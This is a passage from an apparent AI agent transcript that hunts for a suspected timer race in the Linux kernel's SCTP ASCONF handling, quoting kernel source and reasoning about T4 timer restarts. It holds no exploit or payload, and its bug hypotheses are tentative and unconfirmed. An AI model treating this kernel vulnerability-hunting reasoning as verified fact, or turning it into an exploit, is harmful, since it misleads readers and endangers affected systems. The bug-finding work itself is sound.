Then, a more critical question arose: do these queued ASCONF chunks get sent out immediately upon queuing? If they were sent immediately, my next thought was about how this would interact with the SCTP state machine, specifically the `sctp_sf_do_prm_asconf` function. My concern here was that if `sctp_bindx` was continuously firing off `sctp_sf_do_prm_asconf` calls, it might bypass or interfere with the necessary timer mechanisms that are supposed to govern retransmissions and acknowledgements. I was particularly focused on the timer's role, thinking about how setting `RTO_INITIAL` and `RTO_MIN` to a very short duration like 10ms would normally cause a timer to expire quickly, and I wanted to ensure this timer-driven behavior was still respected.

However, as I delved deeper, I realized my assumption about independent queuing and immediate sending might be flawed. I recalled or discovered that ASCONF chunks have a serialization property. This means that only a single ASCONF chunk can be in an "outstanding" state at any given time. This is a crucial point. If only one can be outstanding, then any subsequent ASCONF chunks that I try to queue will have to wait.

This led me to refine my understanding: when I call `sctp_bindx` and an ASCONF chunk is generated, it's queued. If another ASCONF chunk is requested before the first one is acknowledged or has timed out, the second one will be held back, effectively waiting in line.

My next thought then shifted to the scenario where the outstanding ASCONF chunk *does* time out. What is the defined behavior in that situation? This naturally led me to investigate the `sctp_sf_t4_timer_expire` function, as that's where the system would typically handle timeouts, including those related to ASCONF chunks. My mental model was now one of a queue with strict serialization, where timeouts trigger specific state machine transitions.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_t4_timer_expire]

map[SourceCode:6138:	/*
6139:	 * ADDIP Section 4.1 ASCONF Chunk Procedures
6140:	 * If the T4 RTO timer expires the endpoint should do B1 to B5
6141:	 */
6142:	enum sctp_disposition sctp_sf_t4_timer_expire(
6143:						struct net *net,
6144:						const struct sctp_endpoint *ep,
6145:						const struct sctp_association *asoc,
6146:						const union sctp_subtype type,
6147:						void *arg,
6148:						struct sctp_cmd_seq *commands)
6149:	{
6150:		struct sctp_chunk *chunk = asoc->addip_last_asconf;
6151:		struct sctp_transport *transport;
6152:	
6153:		if (!chunk)
6154:			return SCTP_DISPOSITION_CONSUME;
6155:	
6156:		transport = chunk->transport;
6157:		SCTP_INC_STATS(net, SCTP_MIB_T4_RTO_EXPIREDS);
6158:	
6159:		/* ADDIP 4.1 B1) Increment the error counters and perform path failure
6160:		 * detection on the appropriate destination address as defined in
6161:		 * RFC2960 [5] section 8.1 and 8.2.
6162:		 */
6163:		if (transport)
6164:			sctp_add_cmd_sf(commands, SCTP_CMD_STRIKE,
6165:					SCTP_TRANSPORT(transport));
6166:	
6167:		/* Reconfig T4 timer and transport. */
6168:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
6169:	
6170:		/* ADDIP 4.1 B2) Increment the association error counters and perform
6171:		 * endpoint failure detection on the association as defined in
6172:		 * RFC2960 [5] section 8.1 and 8.2.
6173:		 * association error counter is incremented in SCTP_CMD_STRIKE.
6174:		 */
6175:		if (asoc->overall_error_count >= asoc->max_retrans) {
6176:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
6177:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6178:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
6179:					SCTP_ERROR(ETIMEDOUT));
6180:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
6181:					SCTP_PERR(SCTP_ERROR_NO_ERROR));
6182:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
6183:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
6184:			return SCTP_DISPOSITION_ABORT;
6185:		}
6186:	
6187:		/* ADDIP 4.1 B3) Back-off the destination address RTO value to which
6188:		 * the ASCONF chunk was sent by doubling the RTO timer value.
6189:		 * This is done in SCTP_CMD_STRIKE.
6190:		 */
6191:	
6192:		/* ADDIP 4.1 B4) Re-transmit the ASCONF Chunk last sent and if possible
6193:		 * choose an alternate destination address (please refer to RFC2960
6194:		 * [5] section 6.4.1). An endpoint MUST NOT add new parameters to this
6195:		 * chunk, it MUST be the same (including its serial number) as the last
6196:		 * ASCONF sent.
6197:		 */
6198:		sctp_chunk_hold(asoc->addip_last_asconf);
6199:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
6200:				SCTP_CHUNK(asoc->addip_last_asconf));
6201:	
6202:		/* ADDIP 4.1 B5) Restart the T-4 RTO timer. Note that if a different
6203:		 * destination is selected, then the RTO used will be that of the new
6204:		 * destination address.
6205:		 */
6206:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
6207:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6208:	
6209:		return SCTP_DISPOSITION_CONSUME;
6210:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 15504
							output: 43
							thoughts: 68
						

**My Thought Process on `sctp_sf_t4_timer_expire` and Timer Management**

As I delve into the intricacies of the SCTP (Stream Control Transmission Protocol) state machine, specifically the handling of the T4 timer expiration within `sctp_sf_t4_timer_expire`, I've identified a crucial detail regarding timer operations. My initial observation is that this function does *not* invoke `SCTP_CMD_TIMER_START`. Instead, it utilizes `SCTP_CMD_TIMER_RESTART`. This distinction is significant, and to fully understand the implications, my next logical step is to examine the implementation and behavior of `SCTP_CMD_TIMER_RESTART` itself. I will be looking for this within the `sctp_cmd_interpreter` module, as that's where these command handlers are typically defined and processed. This will allow me to grasp precisely how the timer is being re-initialized or reset in this specific scenario and what that implies for the SCTP connection's state and ongoing operations.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 24332
							output: 47
							thoughts: 885
						

**My Thought Process Regarding the `SCTP_CMD_TIMER_START` Race Condition**

Okay, let's break down my thinking on this `SCTP_CMD_TIMER_START` race condition.

First, I examined the `SCTP_CMD_TIMER_RESTART` case. My initial assessment was that this specific command appears safe. It uses `mod_timer`, which is the standard way to restart a timer, and crucially, it checks the return value of `mod_timer`. If `mod_timer` returns false (indicating the timer wasn't active), `sctp_association_hold` is called. This seems robust enough to prevent a race *within* `SCTP_CMD_TIMER_RESTART` itself. Therefore, I concluded the bug must lie elsewhere, specifically in `SCTP_CMD_TIMER_START` and `SCTP_CMD_TIMER_START_ONCE`.

My next step was to trace where `SCTP_CMD_TIMER_START` is actually invoked. I found it being used within `sctp_sf_do_prm_asconf`, which is triggered when an ASCONF chunk is sent. This immediately raised a potential scenario: what if we send an ASCONF chunk *precisely* when the `T4_RTO` timer associated with a previous ASCONF chunk is expiring?

However, I then reasoned through the timer expiration path. If the `T4_RTO` timer expires, it calls `sctp_sf_t4_timer_expire`. This function's job is to retransmit the ASCONF chunk and, importantly, to call `SCTP_CMD_TIMER_RESTART`. This is where my confusion started. I was looking for `SCTP_CMD_TIMER_START` to be the problematic one, but the expiration path seemed to lead to `SCTP_CMD_TIMER_RESTART`.

I refocused: `SCTP_CMD_TIMER_START` is called when a *new* ASCONF chunk is sent. How could a new ASCONF chunk be sent while the `T4_RTO` timer is expiring? My thought was, perhaps if we queue multiple ASCONF chunks. These are sent sequentially. When the first ASCONF is acknowledged, the next one is sent. When that next ASCONF is sent, it would invoke `sctp_sf_do_prm_asconf`, which in turn calls `SCTP_CMD_TIMER_START`.

This led me to consider the `ASCONF-ACK` path. If an `ASCONF-ACK` is received, it acknowledges the *previous* ASCONF, which, as I understood it, would cause the associated timer to be *stopped*. If the timer is stopped (not pending), then calling `SCTP_CMD_TIMER_START` would simply start it. This seemed like a non-issue, as there's no timer already pending to create a race condition.

This brought me back to the core requirement for the race: `timer_pending(timer)` must be TRUE when `SCTP_CMD_TIMER_START` is called. How could this happen? My focus then shifted to other places where `SCTP_CMD_TIMER_START` is used, outside of the ASCONF sending path:

*   `sctp_sf_do_5_1C_ack` (for T1_INIT, T1_COOKIE)
*   `sctp_sf_do_5_1D_ce` (for AUTOCLOSE)
*   `sctp_sf_do_5_1E_ca` (for AUTOCLOSE)
*   `sctp_sf_do_5_2_6_stale` (for T1_INIT)
*   `sctp_sf_do_prm_asoc` (for T1_INIT)
*   `sctp_sf_do_prm_asconf` (for T4_RTO) - this is the one I was already looking at.
*   `sctp_sf_do_9_2_start_shutdown` (for T2_SHUTDOWN)

The critical insight here was reconsidering the `sctp_sf_do_prm_asconf` case. If this function is called, it invokes `SCTP_CMD_TIMER_START`. The question became: is it *ever* possible for the `T4_RTO` timer to be *already pending* when `sctp_sf_do_prm_asconf` is called to send a *new* ASCONF chunk? My reasoning then led me to examine `sctp_process_asconf_ack` more closely, as that's the function that would handle the acknowledgment of a previous ASCONF, and potentially impact the state of the `T4_RTO` timer. This is where I suspect the race condition might be rooted.

map[ContextFile:net/sctp/sm_make_chunk.c Name:sctp_process_asconf_ack]

map[SourceCode:3470:	/* Process an incoming ASCONF_ACK chunk against the cached last ASCONF chunk. */
3471:	int sctp_process_asconf_ack(struct sctp_association *asoc,
3472:				    struct sctp_chunk *asconf_ack)
3473:	{
3474:		struct sctp_chunk *asconf = asoc->addip_last_asconf;
3475:		struct sctp_addip_param *asconf_param;
3476:		__be16 err_code = SCTP_ERROR_NO_ERROR;
3477:		union sctp_addr_param *addr_param;
3478:		int asconf_len = asconf->skb->len;
3479:		int all_param_pass = 0;
3480:		int length = 0;
3481:		int no_err = 1;
3482:		int retval = 0;
3483:	
3484:		/* Skip the chunkhdr and addiphdr from the last asconf sent and store
3485:		 * a pointer to address parameter.
3486:		 */
3487:		length = sizeof(struct sctp_addip_chunk);
3488:		addr_param = (union sctp_addr_param *)(asconf->skb->data + length);
3489:		asconf_len -= length;
3490:	
3491:		/* Skip the address parameter in the last asconf sent and store a
3492:		 * pointer to the first asconf parameter.
3493:		 */
3494:		length = ntohs(addr_param->p.length);
3495:		asconf_param = (void *)addr_param + length;
3496:		asconf_len -= length;
3497:	
3498:		/* ADDIP 4.1
3499:		 * A8) If there is no response(s) to specific TLV parameter(s), and no
3500:		 * failures are indicated, then all request(s) are considered
3501:		 * successful.
3502:		 */
3503:		if (asconf_ack->skb->len == sizeof(struct sctp_addiphdr))
3504:			all_param_pass = 1;
3505:	
3506:		/* Process the TLVs contained in the last sent ASCONF chunk. */
3507:		while (asconf_len > 0) {
3508:			if (all_param_pass)
